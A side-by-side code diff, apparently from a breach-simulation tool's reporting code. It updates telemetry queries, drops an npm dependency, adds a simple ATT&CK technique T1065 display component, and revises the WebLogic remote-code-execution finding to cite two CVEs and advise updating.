for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info_collection', 'data.Azure': {'$exists': True}}, {'telem_category': 'system_info', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1} {'data.Azure': 1, 'monkey_guid': 1}
): ):
azure_users = telem['data']['Azure']['usernames'] azure_users = telem['data']['Azure']['usernames']
@ -382,7 +383,7 @@ class ReportService:
@staticmethod @staticmethod
def get_monkey_subnets(monkey_guid): def get_monkey_subnets(monkey_guid):
network_info = mongo.db.telemetry.find_one( network_info = mongo.db.telemetry.find_one(
{'telem_category': 'system_info_collection', 'monkey_guid': monkey_guid}, {'telem_category': 'system_info', 'monkey_guid': monkey_guid},
{'data.network_info.networks': 1} {'data.network_info.networks': 1}
) )
if network_info is None: if network_info is None:
@ -714,7 +715,7 @@ class ReportService:
config_users = ReportService.get_config_users() config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords() config_passwords = ReportService.get_config_passwords()
cross_segment_issues = ReportService.get_cross_segment_issues() cross_segment_issues = ReportService.get_cross_segment_issues()
monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] monkey_latest_modify_time = Monkey.get_latest_modifytime()
report = \ report = \
{ {
@ -779,7 +780,7 @@ class ReportService:
if latest_report_doc: if latest_report_doc:
report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] latest_monkey_modifytime = Monkey.get_latest_modifytime()
return report_latest_modifytime == latest_monkey_modifytime return report_latest_modifytime == latest_monkey_modifytime
return False return False

File diff suppressed because it is too large Load Diff

View File

@ -53,7 +53,6 @@
"minimist": "^1.2.0", "minimist": "^1.2.0",
"mocha": "^5.2.0", "mocha": "^5.2.0",
"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16", "phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2", "react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^4.3.11", "react-hot-loader": "^4.3.11",

View File

@ -4,7 +4,6 @@ require('core-js/fn/object/assign');
const webpack = require('webpack'); const webpack = require('webpack');
const WebpackDevServer = require('webpack-dev-server'); const WebpackDevServer = require('webpack-dev-server');
const config = require('./webpack.config'); const config = require('./webpack.config');
const open = require('open');
/** /**
* Flag indicating whether webpack compiled for the first time. * Flag indicating whether webpack compiled for the first time.

View File

@ -0,0 +1,16 @@
import React from 'react';
import '../../../styles/Collapse.scss'
class T1065 extends React.Component {
render() {
return (
<div>
<div>{this.props.data.message}</div>
</div>
);
}
}
export default T1065;

View File

@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045"> href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null } CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ? {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a <li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ? {this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@ -889,16 +887,15 @@ class ReportPageComponent extends AuthComponent {
generateWebLogicIssue(issue) { generateWebLogicIssue(issue) {
return ( return (
<li> <li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"> Update Oracle WebLogic server to the latest supported version.
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent> <CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
className="label label-danger">remote code execution</span> attack. className="label label-danger">remote code execution</span> attacks.
<br/> <br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware The attack was made possible due to one of the following vulnerabilities:
(subcomponent: WLS Security). <a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
</CollapsibleWellComponent> </CollapsibleWellComponent>
</li> </li>
); );

View File

@ -16,6 +16,7 @@ import T1086 from "../attack/techniques/T1086";
import T1082 from "../attack/techniques/T1082"; import T1082 from "../attack/techniques/T1082";
import T1145 from "../attack/techniques/T1145"; import T1145 from "../attack/techniques/T1145";
import T1107 from "../attack/techniques/T1107"; import T1107 from "../attack/techniques/T1107";
import T1065 from "../attack/techniques/T1065";
const tech_components = { const tech_components = {
'T1210': T1210, 'T1210': T1210,
@ -27,7 +28,8 @@ const tech_components = {
'T1086': T1086, 'T1086': T1086,
'T1082': T1082, 'T1082': T1082,
'T1145': T1145, 'T1145': T1145,
'T1107': T1107 'T1107': T1107,
'T1065': T1065
}; };
const classNames = require('classnames'); const classNames = require('classnames');